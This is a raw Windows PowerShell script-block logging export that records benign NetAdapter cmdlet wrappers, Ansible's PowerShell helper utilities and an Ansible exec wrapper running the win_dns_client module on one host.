}
function Get-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapter')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByIfIndex', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${Physical},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByIfIndex')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID', 'ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('Physical') -and (@('ByName', 'ByInstanceID', 'ByIfIndex') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('Physical', ${Physical})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapter' -Alias '*'
function Enable-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapter' -Alias '*'
function Disable-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.Get
ScriptBlock ID: 42c52eff-9009-46eb-bde7-93af06193b67
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1831 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-e9ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 2010be3f-1396-4d88-b419-80deba487fd1
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1830 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:04 AM | dfeadd90-ee34-0004-7428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: eb776929-e426-4113-ae14-f593a71f8cbe
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1829 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0004-6528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
bGUuCiAgICAuRVhBTVBMRQogICAgJHBhcmFtcyA9IFBhcnNlLUFyZ3MgJGFyZ3MKIz4KICAgICRwYXJhbXMgPSBOZXctT2JqZWN0IHBzb2JqZWN0CiAgICBJZiAoJGFyZ3VtZW50cy5MZW5ndGggLWd0IDApCiAgICB7CiAgICAgICAgJHBhcmFtcyA9IEdldC1Db250ZW50ICRhcmd1bWVudHNbMF0gfCBDb252ZXJ0RnJvbS1Kc29uCiAgICB9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX2Fuc2libGVfY2hlY2tfbW9kZSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQogICAgSWYgKCRjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2tfbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5jdGlv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ICRyZXN1bHQuY2hhbmdlZCAtb3IgKC1ub3QgKEdldC1EbnNDbGllbnRNYXRjaCAkYWRhcHRlcl9uYW1lICRpcHY0X2FkZHJlc3NlcykpCgogICAgICAgIElmKCRyZXN1bHQuY2hhbmdlZCkgewogICAgICAgICAgICBJZigtbm90ICRjaGVja19tb2RlKSB7CiAgICAgICAgICAgICAgICBTZXQtRG5zQ2xpZW50QWRkcmVzc2VzICRhZGFwdGVyX25hbWUgJGlwdjRfYWRkcmVzc2VzCiAgICAgICAgICAgIH0KICAgICAgICAgICAgRWxzZSB7CiAgICAgICAgICAgICAgICBXcml0ZS1EZWJ1Z0xvZyAiQ2hlY2sgbW9kZSwgc2tpcHBpbmciCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgRXhpdC1Kc29uICRyZXN1bHQKCn0KQ2F0Y2ggewogICAgJGV4Y2VwID0gJF8KCiAgICBXcml0ZS1EZWJ1Z0xvZyAiRXhjZXB0aW9uOiAkKCRleGNlcCB8IG91dC1zdHJpbmcpIgoKICAgIFRocm93Cn0KCg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_dns_client", "_ansible_remote_tmp": "%TEMP%", "_ansible_keep_remote_files": false, "_ansible_verbosity": 2, "ipv4_addresses": ["10.222.0.11", "8.8.8.8", "4.4.4.4"], "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_diff": false, "adapter_names": "br-ethernet", "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 7c2b8c94-bb89-459a-85da-ffcdfd43713a
